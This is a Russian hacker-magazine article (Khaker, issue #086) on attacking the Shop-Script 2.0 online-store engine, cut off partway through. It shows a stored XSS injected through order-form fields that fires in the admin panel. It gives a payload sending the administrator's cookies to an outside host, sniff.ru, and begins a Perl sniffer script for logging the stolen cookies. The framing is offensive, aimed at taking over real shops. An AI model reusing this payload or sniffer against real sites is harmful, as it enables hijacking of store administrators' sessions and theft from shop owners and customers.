Берем магазины под контроль

k00p3r (secinfo@mail.ru)

Хакер, номер #086, стр. 086-076-1

Взламываем популярный движок для е-шопинга

То, что в электронных магазинах мало дыр, — это не пустые слова. Забив в багтраке слово Shop, я увидел лишь несколько ссылок 2000 года, пару пассивных xss'ок и упоминание об sql-инъекции за 2001 год. Меня это сильно удивило и я решил исправить ситуацию. Мне даже стало интересно поискать дыру в каком-нибудь бесплатном магазинном движке.

[все по порядку]

Все началось с того, что я зашел по фтп на сервер, где хостится мой сайт. Среди нескольких директорий меня привлекла папка Shop, которую я до этого ни разу не видел. В ней находилось множество разнообразных скриптов. Обратившись к этой папке браузером, я окончательно убедился, что это интернет-магазин. Оказалось, мой друг, второй администратор нашего сайта, решил потестить этот движок. «Коммерсант хренов», – подумал я. Ну хорошо, ради интереса и я его посмотрю :).

[приступим]

Скачав и установив е-шоп к себе на винчестер, я приступил к исследованиям. Этот движок назывался без особенных изысков - Shop-Script. Версия 2.0. Как и полагается современным движкам, для хранения информации использовался сервер баз данных. После первого же осмотра «пациента» было обнаружено несколько багов. Значения переменных не фильтровалось на спецсимволы почти нигде, и через пять минут изучения сорцов мне даже показалось, что создатели этого движка не знали вообще ничего о безопасности web-приложений :). Мне показалось довольно забавным, что при создании движка электронной торговли программисты даже не задумались о безопасности своего приложения. Хотя, может, они это сделали специально? Как бы то ни было, нам это только на руку. Будем изучать баги.

[первый баг - XSS]

Если при оформлении заказа вставить в любое из полей личной информации (телефон, адрес и т.д.) строку <script>alert()</script>, то при отображении этой информации вылетит алерт.

Интересно, будет ли выполняться наш код в админ-панели? При просмотре пользовательской информации никаких окошек не появилось – код не выполнялся. Однако стоит только такому ядовитому пользователю произвести заказ на товар, как при просмотре администратором новых заказов зловредный код исполнится и в нашем случае появится предупреждающее окошко. Написать скрипт для отсылки админских кукисов – лишь дело техники и давно уже пройденный тобой этап, верно?

Примерный xss-код такой:

<script>document.write('<img width=1 height=1 src="http://sniff.ru/kartinka.jpg?'+document.cookie+'">');</script>

На свой же сервер для проведения атаки нужно залить примерно следующий перловый скрипт:

код продвинутого снифера на Perl

#!/usr/bin/perl

$LogFile="log.txt";#путь к лог-файлу

$mlength=50;#максимальное число записей

print "Location: image.gif\n\n";#делаем редирект на картинку

read(STDIN, $input, $ENV{'CONTENT_LENGTH'});#читаем данные запроса

$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};

$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

$now_string = localtime;#получаем время запроса и HTTP_REFERER

$ref = $ENV{'HTTP_REFERER'};

#читаем лог-файл в массив